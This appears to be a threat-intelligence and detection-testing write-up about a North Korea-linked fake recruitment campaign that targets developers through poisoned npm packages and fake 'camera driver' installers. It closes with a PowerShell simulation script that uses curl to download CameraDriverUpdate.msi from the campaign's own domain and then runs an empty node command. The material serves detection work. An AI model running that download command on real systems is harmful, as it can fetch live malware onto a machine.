Fake Recruitment Campaign Uses npm Packages to Target Developers

Summary

A sophisticated threat actor linked to North Korea is using fake recruitment processes to compromise developers. The campaign follows a multi-stage infection chain involving fraudulent companies, poisoned npm packages, and malicious “camera driver” installers. By abusing trusted professional platforms such as LinkedIn and GitHub, the attackers increase credibility and reduce suspicion during initial engagement.

Investigation

JFrog Security Research traced the campaign from a single malicious npm package to a fully developed decoy company called AccuraSoftHire. Investigators uncovered coordinated infrastructure involving fake LinkedIn profiles, a convincing careers website, and multiple disposable npm accounts. Technical analysis connected recruiter personas, GitHub project authors, and npm package publishers through shared email addresses and recurring code markers.

Mitigation

Developers should treat take-home coding assignments as untrusted code and run them only inside isolated, disposable virtual machines or containers. Avoid executing installation commands provided through browsers, especially those using curl or PowerShell. Organizations should strengthen software supply chain security by auditing dependency lockfiles and monitoring for unexpected or unauthorized package updates.

Response

When suspicious npm packages or unauthorized VS Code task changes are detected, immediately isolate the affected workstation. Perform forensic analysis of recent downloads, browser activity, and executed commands. Check for unauthorized scheduled tasks or new registry entries associated with Chrome native messaging hosts. Review developer credentials and active sessions to reduce the risk of session hijacking.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre-flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands: The adversary seeks to establish persistence by masquerading as a system update. Following a successful social engineering lure, the attacker executes a curl command to download a malicious MSI file, naming it CameraDriverUpdate.msi to blend into system noise. Immediately after, the attacker executes node -e ""—a technique used to test the environment or prepare for more complex, obfuscated JavaScript payloads that evade simple detection. The combination of a specific driver-themed download and an empty node execution is the primary trigger for the detection rule.

• Regression Test Script:

  # Simulation script to trigger the detection rule.
  # This script mimics the specific strings identified in the Sigma rule.
  
  $TargetUrl = "https://accurasofthire.com/camera-driver/setup-win"
  $FileName = "CameraDriverUpdate.msi"
  $FullCurlCmd = "curl -L -o $FileName `"$TargetUrl`""
  
  Write-Host "[+] Executing malicious curl command..." -ForegroundColor Yellow
  Invoke-Expression $FullCurlCmd
  
  Write-Host "[+] Executing empty node command..." -ForegroundColor Yellow
  node -e ""
  
  Write-Host "[+] Simulation complete. Check SIEM for Alert." -ForegroundColor Green

• Cleanup Commands:

  # Cleanup script to remove artifacts created during simulation.
  if (Test-Path "CameraDriverUpdate.msi") {
      Remove-Item "CameraDriverUpdate.msi" -Force
      Write-Host "[+] Removed malicious MSI artifact." -ForegroundColor Cyan
  }